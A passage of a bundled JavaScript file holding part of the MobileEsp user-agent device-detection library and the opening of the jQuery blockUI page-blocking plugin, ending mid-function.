- this.uagent = navigator.userAgent.toLowerCase();
- //Save these properties to speed processing
- this.isWebkit = this.DetectWebkit();
- this.isIphone = this.DetectIphone();
- this.isAndroid = this.DetectAndroid();
- this.isAndroidPhone = this.DetectAndroidPhone();
- //Generally, these tiers are the most useful for web development
- this.isMobilePhone = this.DetectMobileQuick();
- this.isTierIphone = this.DetectTierIphone();
- this.isTierTablet = this.DetectTierTablet();
- //Optional: Comment these out if you NEVER use them
- this.isTierRichCss = this.DetectTierRichCss();
- this.isTierGenericMobile = this.DetectTierOtherPhones();
- this.initCompleted = true;
- },
- //APPLE IOS
- //**************************
- // Detects if the current device is an iPhone.
- DetectIphone : function() {
- if (this.initCompleted || this.isIphone)
- return this.isIphone;
- if (this.uagent.search(this.deviceIphone) > -1)
- {
- //The iPad and iPod Touch say they're an iPhone! So let's disambiguate.
- if (this.DetectIpad() || this.DetectIpod())
- return false;
- //Yay! It's an iPhone!
- else
- return true;
- }
- else
- return false;
- },
- //**************************
- // Detects if the current device is an iPod Touch.
- DetectIpod : function() {
- if (this.uagent.search(this.deviceIpod) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is an iPhone or iPod Touch.
- DetectIphoneOrIpod : function() {
- //We repeat the searches here because some iPods
- // may report themselves as an iPhone, which is ok.
- if (this.DetectIphone() || this.DetectIpod())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is an iPad tablet.
- DetectIpad : function() {
- if (this.uagent.search(this.deviceIpad) > -1 && this.DetectWebkit())
- return true;
- else
- return false;
- },
- //**************************
- // Detects *any* iOS device: iPhone, iPod Touch, iPad.
- DetectIos : function() {
- if (this.DetectIphoneOrIpod() || this.DetectIpad())
- return true;
- else
- return false;
- },
- //ANDROID
- //**************************
- // Detects *any* Android OS-based device: phone, tablet, and multi-media player.
- // Also detects Google TV.
- DetectAndroid : function() {
- if (this.initCompleted || this.isAndroid)
- return this.isAndroid;
- if ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())
- return true;
- return false;
- },
- //**************************
- // Detects if the current device is a (small-ish) Android OS-based device
- // used for calling and/or multi-media (like a Samsung Galaxy Player).
- // Google says these devices will have 'Android' AND 'mobile' in user agent.
- // Ignores tablets (Honeycomb and later).
- DetectAndroidPhone : function() {
- if (this.initCompleted || this.isAndroidPhone)
- return this.isAndroidPhone;
- //First, let's make sure we're on an Android device.
- if (!this.DetectAndroid())
- return false;
- //If it's Android and has 'mobile' in it, Google says it's a phone.
- if (this.uagent.search(this.mobile) > -1)
- return true;
- //Special check for Android phones with Opera Mobile. They should report here.
- if (this.DetectOperaMobile())
- return true;
- return false;
- },
- //**************************
- // Detects if the current device is a (self-reported) Android tablet.
- // Google says these devices will have 'Android' and NOT 'mobile' in their user agent.
- DetectAndroidTablet : function() {
- //First, let's make sure we're on an Android device.
- if (!this.DetectAndroid())
- return false;
- //Special check for Opera Android Phones. They should NOT report here.
- if (this.DetectOperaMobile())
- return false;
- //Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.
- if (this.uagent.search(this.mobile) > -1)
- return false;
- else
- return true;
- },
- //**************************
- // Detects if the current device is an Android OS-based device and
- // the browser is based on WebKit.
- DetectAndroidWebKit : function() {
- if (this.DetectAndroid() && this.DetectWebkit())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is a GoogleTV.
- DetectGoogleTV : function() {
- if (this.uagent.search(this.deviceGoogleTV) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is based on WebKit.
- DetectWebkit : function() {
- if (this.initCompleted || this.isWebkit)
- return this.isWebkit;
- if (this.uagent.search(this.engineWebKit) > -1)
- return true;
- else
- return false;
- },
- //WINDOWS MOBILE AND PHONE
- // Detects if the current browser is a
- // Windows Phone 7, 8, or 10 device.
- DetectWindowsPhone : function() {
- if (this.DetectWindowsPhone7() ||
- this.DetectWindowsPhone8() ||
- this.DetectWindowsPhone10())
- return true;
- else
- return false;
- },
- //**************************
- // Detects a Windows Phone 7 device (in mobile browsing mode).
- DetectWindowsPhone7 : function() {
- if (this.uagent.search(this.deviceWinPhone7) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a Windows Phone 8 device (in mobile browsing mode).
- DetectWindowsPhone8 : function() {
- if (this.uagent.search(this.deviceWinPhone8) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a Windows Phone 10 device (in mobile browsing mode).
- DetectWindowsPhone10 : function() {
- if (this.uagent.search(this.deviceWinPhone10) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a Windows Mobile device.
- // Excludes Windows Phone 7 and later devices.
- // Focuses on Windows Mobile 6.xx and earlier.
- DetectWindowsMobile : function() {
- if (this.DetectWindowsPhone())
- return false;
- //Most devices use 'Windows CE', but some report 'iemobile'
- // and some older ones report as 'PIE' for Pocket IE.
- if (this.uagent.search(this.deviceWinMob) > -1 ||
- this.uagent.search(this.deviceIeMob) > -1 ||
- this.uagent.search(this.enginePie) > -1)
- return true;
- //Test for Windows Mobile PPC but not old Macintosh PowerPC.
- if ((this.uagent.search(this.devicePpc) > -1) &&
- !(this.uagent.search(this.deviceMacPpc) > -1))
- return true;
- //Test for Windwos Mobile-based HTC devices.
- if (this.uagent.search(this.manuHtc) > -1 &&
- this.uagent.search(this.deviceWindows) > -1)
- return true;
- else
- return false;
- },
- //BLACKBERRY
- //**************************
- // Detects if the current browser is a BlackBerry of some sort.
- // Includes BB10 OS, but excludes the PlayBook.
- DetectBlackBerry : function() {
- if ((this.uagent.search(this.deviceBB) > -1) ||
- (this.uagent.search(this.vndRIM) > -1))
- return true;
- if (this.DetectBlackBerry10Phone())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a BlackBerry 10 OS phone.
- // Excludes tablets.
- DetectBlackBerry10Phone : function() {
- if ((this.uagent.search(this.deviceBB10) > -1) &&
- (this.uagent.search(this.mobile) > -1))
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is on a BlackBerry tablet device.
- // Example: PlayBook
- DetectBlackBerryTablet : function() {
- if (this.uagent.search(this.deviceBBPlaybook) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a BlackBerry device AND uses a
- // WebKit-based browser. These are signatures for the new BlackBerry OS 6.
- // Examples: Torch. Includes the Playbook.
- DetectBlackBerryWebKit : function() {
- if (this.DetectBlackBerry() &&
- this.uagent.search(this.engineWebKit) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a BlackBerry Touch
- // device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.
- DetectBlackBerryTouch : function() {
- if (this.DetectBlackBerry() &&
- ((this.uagent.search(this.deviceBBStorm) > -1) ||
- (this.uagent.search(this.deviceBBTorch) > -1) ||
- (this.uagent.search(this.deviceBBBoldTouch) > -1) ||
- (this.uagent.search(this.deviceBBCurveTouch) > -1) ))
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a BlackBerry OS 5 device AND
- // has a more capable recent browser. Excludes the Playbook.
- // Examples, Storm, Bold, Tour, Curve2
- // Excludes the new BlackBerry OS 6 and 7 browser!!
- DetectBlackBerryHigh : function() {
- //Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser
- if (this.DetectBlackBerryWebKit())
- return false;
- if ((this.DetectBlackBerry()) &&
- (this.DetectBlackBerryTouch() ||
- this.uagent.search(this.deviceBBBold) > -1 ||
- this.uagent.search(this.deviceBBTour) > -1 ||
- this.uagent.search(this.deviceBBCurve) > -1))
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a BlackBerry device AND
- // has an older, less capable browser.
- // Examples: Pearl, 8800, Curve1.
- DetectBlackBerryLow : function() {
- if (this.DetectBlackBerry())
- {
- //Assume that if it's not in the High tier or has WebKit, then it's Low.
- if (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())
- return false;
- else
- return true;
- }
- else
- return false;
- },
- //SYMBIAN
- //**************************
- // Detects if the current browser is the Nokia S60 Open Source Browser.
- DetectS60OssBrowser : function() {
- if (this.DetectWebkit())
- {
- if ((this.uagent.search(this.deviceS60) > -1 ||
- this.uagent.search(this.deviceSymbian) > -1))
- return true;
- else
- return false;
- }
- else
- return false;
- },
- //**************************
- // Detects if the current device is any Symbian OS-based device,
- // including older S60, Series 70, Series 80, Series 90, and UIQ,
- // or other browsers running on these devices.
- DetectSymbianOS : function() {
- if (this.uagent.search(this.deviceSymbian) > -1 ||
- this.uagent.search(this.deviceS60) > -1 ||
- ((this.uagent.search(this.deviceSymbos) > -1) &&
- (this.DetectOperaMobile)) || //Opera 10
- this.uagent.search(this.deviceS70) > -1 ||
- this.uagent.search(this.deviceS80) > -1 ||
- this.uagent.search(this.deviceS90) > -1)
- return true;
- else
- return false;
- },
- //WEBOS AND PALM
- //**************************
- // Detects if the current browser is on a PalmOS device.
- DetectPalmOS : function() {
- //Make sure it's not WebOS first
- if (this.DetectPalmWebOS())
- return false;
- //Most devices nowadays report as 'Palm',
- // but some older ones reported as Blazer or Xiino.
- if (this.uagent.search(this.devicePalm) > -1 ||
- this.uagent.search(this.engineBlazer) > -1 ||
- this.uagent.search(this.engineXiino) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is on a Palm device
- // running the new WebOS.
- DetectPalmWebOS : function()
- {
- if (this.uagent.search(this.deviceWebOS) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is on an HP tablet running WebOS.
- DetectWebOSTablet : function() {
- if (this.uagent.search(this.deviceWebOShp) > -1 &&
- this.uagent.search(this.deviceTablet) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is on a WebOS smart TV.
- DetectWebOSTV : function() {
- if (this.uagent.search(this.deviceWebOStv) > -1 &&
- this.uagent.search(this.smartTV2) > -1)
- return true;
- else
- return false;
- },
- //OPERA
- //**************************
- // Detects if the current browser is Opera Mobile or Mini.
- // Note: Older embedded Opera on mobile devices didn't follow these naming conventions.
- // Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead.
- DetectOperaMobile : function() {
- if ((this.uagent.search(this.engineOpera) > -1) &&
- ((this.uagent.search(this.mini) > -1 ||
- this.uagent.search(this.mobi) > -1)))
- return true;
- else
- return false;
- },
- //MISCELLANEOUS DEVICES
- //**************************
- // Detects if the current device is an Amazon Kindle (eInk devices only).
- // Note: For the Kindle Fire, use the normal Android methods.
- DetectKindle : function() {
- if (this.uagent.search(this.deviceKindle) > -1 &&
- !this.DetectAndroid())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current Amazon device has turned on the Silk accelerated browsing feature.
- // Note: Typically used by the the Kindle Fire.
- DetectAmazonSilk : function() {
- if (this.uagent.search(this.engineSilk) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a
- // Garmin Nuvifone.
- DetectGarminNuvifone : function() {
- if (this.uagent.search(this.deviceNuvifone) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a device running the Bada OS from Samsung.
- DetectBada : function() {
- if (this.uagent.search(this.deviceBada) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a device running the Tizen smartphone OS.
- DetectTizen : function() {
- if (this.uagent.search(this.deviceTizen) > -1 &&
- this.uagent.search(this.mobile) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is on a Tizen smart TV.
- DetectTizenTV : function() {
- if (this.uagent.search(this.deviceTizen) > -1 &&
- this.uagent.search(this.smartTV1) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a device running the Meego OS.
- DetectMeego : function() {
- if (this.uagent.search(this.deviceMeego) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a phone running the Meego OS.
- DetectMeegoPhone : function() {
- if (this.uagent.search(this.deviceMeego) > -1 &&
- this.uagent.search(this.mobi) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a mobile device (probably) running the Firefox OS.
- DetectFirefoxOS : function() {
- if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())
- return true;
- else
- return false;
- },
- //**************************
- // Detects a phone (probably) running the Firefox OS.
- DetectFirefoxOSPhone : function() {
- //First, let's make sure we're NOT on another major mobile OS.
- if (this.DetectIos() ||
- this.DetectAndroid() ||
- this.DetectSailfish())
- return false;
- if ((this.uagent.search(this.engineFirefox) > -1) &&
- (this.uagent.search(this.mobile) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects a tablet (probably) running the Firefox OS.
- DetectFirefoxOSTablet : function() {
- //First, let's make sure we're NOT on another major mobile OS.
- if (this.DetectIos() ||
- this.DetectAndroid() ||
- this.DetectSailfish())
- return false;
- if ((this.uagent.search(this.engineFirefox) > -1) &&
- (this.uagent.search(this.deviceTablet) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects a device running the Sailfish OS.
- DetectSailfish : function() {
- if (this.uagent.search(this.deviceSailfish) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects a phone running the Sailfish OS.
- DetectSailfishPhone : function() {
- if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects a mobile device running the Ubuntu Mobile OS.
- DetectUbuntu : function() {
- if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())
- return true;
- else
- return false;
- },
- //**************************
- // Detects a phone running the Ubuntu Mobile OS.
- DetectUbuntuPhone : function() {
- if ((this.uagent.search(this.deviceUbuntu) > -1) &&
- (this.uagent.search(this.mobile) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects a tablet running the Ubuntu Mobile OS.
- DetectUbuntuTablet : function() {
- if ((this.uagent.search(this.deviceUbuntu) > -1) &&
- (this.uagent.search(this.deviceTablet) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects the Danger Hiptop device.
- DetectDangerHiptop : function() {
- if (this.uagent.search(this.deviceDanger) > -1 ||
- this.uagent.search(this.deviceHiptop) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current browser is a Sony Mylo device.
- DetectSonyMylo : function() {
- if ((this.uagent.search(this.manuSony) > -1) &&
- ((this.uagent.search(this.qtembedded) > -1) ||
- (this.uagent.search(this.mylocom2) > -1)))
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is on one of
- // the Maemo-based Nokia Internet Tablets.
- DetectMaemoTablet : function() {
- if (this.uagent.search(this.maemo) > -1)
- return true;
- //For Nokia N810, must be Linux + Tablet, or else it could be something else.
- if ((this.uagent.search(this.linux) > -1) &&
- (this.uagent.search(this.deviceTablet) > -1) &&
- this.DetectWebOSTablet() &&
- !this.DetectAndroid())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is an Archos media player/Internet tablet.
- DetectArchos : function() {
- if (this.uagent.search(this.deviceArchos) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is an Internet-capable game console.
- // Includes many handheld consoles.
- DetectGameConsole : function() {
- if (this.DetectSonyPlaystation() ||
- this.DetectNintendo() ||
- this.DetectXbox())
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is a Sony Playstation.
- DetectSonyPlaystation : function() {
- if (this.uagent.search(this.devicePlaystation) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is a handheld gaming device with
- // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.
- DetectGamingHandheld : function() {
- if ((this.uagent.search(this.devicePlaystation) > -1) &&
- (this.uagent.search(this.devicePlaystationVita) > -1))
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is a Nintendo game device.
- DetectNintendo : function() {
- if (this.uagent.search(this.deviceNintendo) > -1 ||
- this.uagent.search(this.deviceWii) > -1 ||
- this.uagent.search(this.deviceNintendoDs) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects if the current device is a Microsoft Xbox.
- DetectXbox : function() {
- if (this.uagent.search(this.deviceXbox) > -1)
- return true;
- else
- return false;
- },
- //**************************
- // Detects whether the device is a Brew-powered device.
- // Note: Limited to older Brew-powered feature phones.
- // Ignores newer Brew versions like MP. Refer to DetectMobileQuick().
- DetectBrewDevice : function() {
- if (this.uagent.search(this.deviceBrew) > -1)
- return true;
- else
- return false;
- },
- // DEVICE CLASSES
- //**************************
- // Check to see whether the device is *any* 'smartphone'.
- // Note: It's better to use DetectTierIphone() for modern touchscreen devices.
- DetectSmartphone : function() {
- //Exclude duplicates from TierIphone
- if (this.DetectTierIphone() ||
- this.DetectS60OssBrowser() ||
- this.DetectSymbianOS() ||
- this.DetectWindowsMobile() ||
- this.DetectBlackBerry() ||
- this.DetectMeegoPhone() ||
- this.DetectPalmOS())
- return true;
- //Otherwise, return false.
- return false;
- },
- //**************************
- // Detects if the current device is a mobile device.
- // This method catches most of the popular modern devices.
- // Excludes Apple iPads and other modern tablets.
- DetectMobileQuick : function() {
- if (this.initCompleted || this.isMobilePhone)
- return this.isMobilePhone;
- //Let's exclude tablets.
- if (this.DetectTierTablet())
- return false;
- //Most mobile browsing is done on smartphones
- if (this.DetectSmartphone())
- return true;
- //Catch-all for many mobile devices
- if (this.uagent.search(this.mobile) > -1)
- return true;
- if (this.DetectOperaMobile())
- return true;
- //We also look for Kindle devices
- if (this.DetectKindle() ||
- this.DetectAmazonSilk())
- return true;
- if (this.uagent.search(this.deviceMidp) > -1 ||
- this.DetectBrewDevice())
- return true;
- if ((this.uagent.search(this.engineObigo) > -1) ||
- (this.uagent.search(this.engineNetfront) > -1) ||
- (this.uagent.search(this.engineUpBrowser) > -1))
- return true;
- return false;
- },
- //**************************
- // Detects in a more comprehensive way if the current device is a mobile device.
- DetectMobileLong : function() {
- if (this.DetectMobileQuick())
- return true;
- if (this.DetectGameConsole())
- return true;
- if (this.DetectDangerHiptop() ||
- this.DetectMaemoTablet() ||
- this.DetectSonyMylo() ||
- this.DetectArchos())
- return true;
- if ((this.uagent.search(this.devicePda) > -1) &&
- !(this.uagent.search(this.disUpdate) > -1))
- return true;
- //Detect for certain very old devices with stupid useragent strings.
- if ((this.uagent.search(this.manuSamsung1) > -1) ||
- (this.uagent.search(this.manuSonyEricsson) > -1) ||
- (this.uagent.search(this.manuericsson) > -1) ||
- (this.uagent.search(this.svcDocomo) > -1) ||
- (this.uagent.search(this.svcKddi) > -1) ||
- (this.uagent.search(this.svcVodafone) > -1))
- return true;
- return false;
- },
- //*****************************
- // For Mobile Web Site Design
- //*****************************
- //**************************
- // The quick way to detect for a tier of devices.
- // This method detects for the new generation of
- // HTML 5 capable, larger screen tablets.
- // Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.
- DetectTierTablet : function() {
- if (this.initCompleted || this.isTierTablet)
- return this.isTierTablet;
- if (this.DetectIpad() ||
- this.DetectAndroidTablet() ||
- this.DetectBlackBerryTablet() ||
- this.DetectFirefoxOSTablet() ||
- this.DetectUbuntuTablet() ||
- this.DetectWebOSTablet())
- return true;
- else
- return false;
- },
- //**************************
- // The quick way to detect for a tier of devices.
- // This method detects for devices which can
- // display iPhone-optimized web content.
- // Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.
- DetectTierIphone : function() {
- if (this.initCompleted || this.isTierIphone)
- return this.isTierIphone;
- if (this.DetectIphoneOrIpod() ||
- this.DetectAndroidPhone() ||
- this.DetectWindowsPhone() ||
- this.DetectBlackBerry10Phone() ||
- this.DetectPalmWebOS() ||
- this.DetectBada() ||
- this.DetectTizen() ||
- this.DetectFirefoxOSPhone() ||
- this.DetectSailfishPhone() ||
- this.DetectUbuntuPhone() ||
- this.DetectGamingHandheld())
- return true;
- //Note: BB10 phone is in the previous paragraph
- if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())
- return true;
- else
- return false;
- },
- //**************************
- // The quick way to detect for a tier of devices.
- // This method detects for devices which are likely to be
- // capable of viewing CSS content optimized for the iPhone,
- // but may not necessarily support JavaScript.
- // Excludes all iPhone Tier devices.
- DetectTierRichCss : function() {
- if (this.initCompleted || this.isTierRichCss)
- return this.isTierRichCss;
- //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices
- if (this.DetectTierIphone() ||
- this.DetectKindle() ||
- this.DetectTierTablet())
- return false;
- //Exclude if not mobile
- if (!this.DetectMobileQuick())
- return false;
- //If it's a mobile webkit browser on any other device, it's probably OK.
- if (this.DetectWebkit())
- return true;
- //The following devices are also explicitly ok.
- if (this.DetectS60OssBrowser() ||
- this.DetectBlackBerryHigh() ||
- this.DetectWindowsMobile() ||
- (this.uagent.search(this.engineTelecaQ) > -1))
- return true;
- else
- return false;
- },
- //**************************
- // The quick way to detect for a tier of devices.
- // This method detects for all other types of phones,
- // but excludes the iPhone and RichCSS Tier devices.
- // NOTE: This method probably won't work due to poor
- // support for JavaScript among other devices.
- DetectTierOtherPhones : function() {
- if (this.initCompleted || this.isTierGenericMobile)
- return this.isTierGenericMobile;
- //Exclude iPhone, Rich CSS and Tablet Tiers
- if (this.DetectTierIphone() ||
- this.DetectTierRichCss() ||
- this.DetectTierTablet())
- return false;
- //Otherwise, if it's mobile, it's OK
- if (this.DetectMobileLong())
- return true;
- else
- return false;
- }
- };
- //Initialize the MobileEsp object
- MobileEsp.InitDeviceScan();
- /*!
- * jQuery blockUI plugin
- * Version 2.70.0-2014.11.23
- * Requires jQuery v1.7 or later
- *
- * Examples at: http://malsup.com/jquery/block/
- * Copyright (c) 2007-2013 M. Alsup
- * Dual licensed under the MIT and GPL licenses:
- * http://www.opensource.org/licenses/mit-license.php
- * http://www.gnu.org/licenses/gpl.html
- *
- * Thanks to Amir-Hossein Sobhi for some excellent contributions!
- */
- ;(function() {
- /*jshint eqeqeq:false curly:false latedef:false */
- "use strict";
- function setup($) {
- $.fn._fadeIn = $.fn.fadeIn;
- var noOp = $.noop || function() {};
- // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
- // confusing userAgent strings on Vista)
- var msie = /MSIE/.test(navigator.userAgent);
- var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
- var mode = document.documentMode || 0;
- var setExpr = $.isFunction( document.createElement('div').style.setExpression );
- // global $ methods for blocking/unblocking the entire page
- $.blockUI = function(opts) { install(window, opts); };
- $.unblockUI = function(opts) { remove(window, opts); };
- // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
- $.growlUI = function(title, message, timeout, onClose) {
- var $m = $('<div class="growlUI"></div>');
- if (title) $m.append('<h1>'+title+'</h1>');
- if (message) $m.append('<h2>'+message+'</h2>');
- if (timeout === undefined) timeout = 3000;
- // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
- var callBlock = function(opts) {
- opts = opts || {};
- $.blockUI({
- message: $m,
- fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
- fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
- timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
- centerY: false,
- showOverlay: false,
- onUnblock: onClose,
- css: $.blockUI.defaults.growlCSS
- });
- };
- callBlock();
- var nonmousedOpacity = $m.css('opacity');
- $m.mouseover(function() {
- callBlock({
- fadeIn: 0,
- timeout: 30000
- });
- var displayBlock = $('.blockMsg');
- displayBlock.stop(); // cancel fadeout if it has started
- displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
- }).mouseout(function() {
- $('.blockMsg').fadeOut(1000);
- });
- // End konapun additions
- };
- // plugin method for blocking element content
- $.fn.block = function(opts) {
- if ( this[0] === window ) {
- $.blockUI( opts );
- return this;
- }
- var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
- this.each(function() {
- var $el = $(this);
- if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
- return;
- $el.unblock({ fadeOut: 0 });
- });
- return this.each(function() {
- if ($.css(this,'position') == 'static') {
- this.style.position = 'relative';
- $(this).data('blockUI.static', true);
- }
- this.style.zoom = 1; // force 'hasLayout' in ie
- install(this, opts);
- });
- };
- // plugin method for unblocking element content
- $.fn.unblock = function(opts) {
- if ( this[0] === window ) {
- $.unblockUI( opts );
- return this;
- }
- return this.each(function() {
- remove(this, opts);
- });
- };
- $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
- // override these in your code to change the default behavior and style
- $.blockUI.defaults = {
- // message displayed when blocking (use null for no message)
- message: '<h1>Please wait...</h1>',
- title: null, // title string; only used when theme == true
- draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
- theme: false, // set to true to use with jQuery UI themes
- // styles for the message when blocking; if you wish to disable
- // these and use an external stylesheet then do this in your code:
- // $.blockUI.defaults.css = {};
- css: {
- padding: 0,
- margin: 0,
- width: '30%',
- top: '40%',
- left: '35%',
- textAlign: 'center',
- color: '#000',
- border: '3px solid #aaa',
- backgroundColor:'#fff',
- cursor: 'wait'
- },
- // minimal style set used when themes are used
- themedCSS: {
- width: '30%',
- top: '40%',
- left: '35%'
- },
- // styles for the overlay
- overlayCSS: {
- backgroundColor: '#000',
- opacity: 0.6,
- cursor: 'wait'
- },
- // style to replace wait cursor before unblocking to correct issue
- // of lingering wait cursor
- cursorReset: 'default',
- // styles applied when using $.growlUI
- growlCSS: {
- width: '350px',
- top: '10px',
- left: '',
- right: '10px',
- border: 'none',
- padding: '5px',
- opacity: 0.6,
- cursor: 'default',
- color: '#fff',
- backgroundColor: '#000',
- '-webkit-border-radius':'10px',
- '-moz-border-radius': '10px',
- 'border-radius': '10px'
- },
- // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
- // (hat tip to Jorge H. N. de Vasconcelos)
- /*jshint scripturl:true */
- iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
- // force usage of iframe in non-IE browsers (handy for blocking applets)
- forceIframe: false,
- // z-index for the blocking overlay
- baseZ: 1000,
- // set these to true to have the message automatically centered
- centerX: true, // <-- only effects element blocking (page block controlled via css above)
- centerY: true,
- // allow body element to be stetched in ie6; this makes blocking look better
- // on "short" pages. disable if you wish to prevent changes to the body height
- allowBodyStretch: true,
- // enable if you want key and mouse events to be disabled for content that is blocked
- bindEvents: true,
- // be default blockUI will supress tab navigation from leaving blocking content
- // (if bindEvents is true)
- constrainTabKey: true,
- // fadeIn time in millis; set to 0 to disable fadeIn on block
- fadeIn: 200,
- // fadeOut time in millis; set to 0 to disable fadeOut on unblock
- fadeOut: 400,
- // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
- timeout: 0,
- // disable if you don't want to show the overlay
- showOverlay: true,
- // if true, focus will be placed in the first available input field when
- // page blocking
- focusInput: true,
- // elements that can receive focus
- focusableElements: ':input:enabled:visible',
- // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
- // no longer needed in 2012
- // applyPlatformOpacityRules: true,
- // callback method invoked when fadeIn has completed and blocking message is visible
- onBlock: null,
- // callback method invoked when unblocking has completed; the callback is
- // passed the element that has been unblocked (which is the window object for page
- // blocks) and the options that were passed to the unblock call:
- // onUnblock(element, options)
- onUnblock: null,
- // callback method invoked when the overlay area is clicked.
- // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
- onOverlayClick: null,
- // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
- quirksmodeOffsetHack: 4,
- // class name of the message block
- blockMsgClass: 'blockMsg',
- // if it is already blocked, then ignore it (don't unblock and reblock)
- ignoreIfBlocked: false
- };
- // private data and functions follow...
- var pageBlock = null;
- var pageBlockEls = [];
- function install(el, opts) {
- var css, themedCSS;
- var full = (el == window);
- var msg = (opts && opts.message !== undefined ? opts.message : undefined);
- opts = $.extend({}, $.blockUI.defaults, opts || {});
- if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
- return;
- opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
- css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
- if (opts.onOverlayClick)
- opts.overlayCSS.cursor = 'pointer';
- themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
- msg = msg === undefined ? opts.message : msg;
- // remove the current block (if there is one)
- if (full && pageBlock)
- remove(window, {fadeOut:0});
- // if an existing element is being used as the blocking content then we capture
- // its current place in the DOM (and current display style) so we can restore
- // it when we unblock
- if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
- var node = msg.jquery ? msg[0] : msg;
- var data = {};
- $(el).data('blockUI.history', data);
- data.el = node;
- data.parent = node.parentNode;
- data.display = node.style.display;
- data.position = node.style.position;
- if (data.parent)
- data.parent.removeChild(node);
- }
- $(el).data('blockUI.onUnblock', opts.onUnblock);
- var z = opts.baseZ;
- // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
- // layer1 is the iframe layer which is used to supress bleed through of underlying content
- // layer2 is the overlay layer which has opacity and a wait cursor (by default)
- // layer3 is the message content that is displayed while blocking
- var lyr1, lyr2, lyr3, s;
- if (msie || opts.forceIframe)
- lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
- else
- lyr1 = $('<div class="blockUI" style="display:none"></div>');
- if (opts.theme)
- lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
- else
- lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
- if (opts.theme && full) {
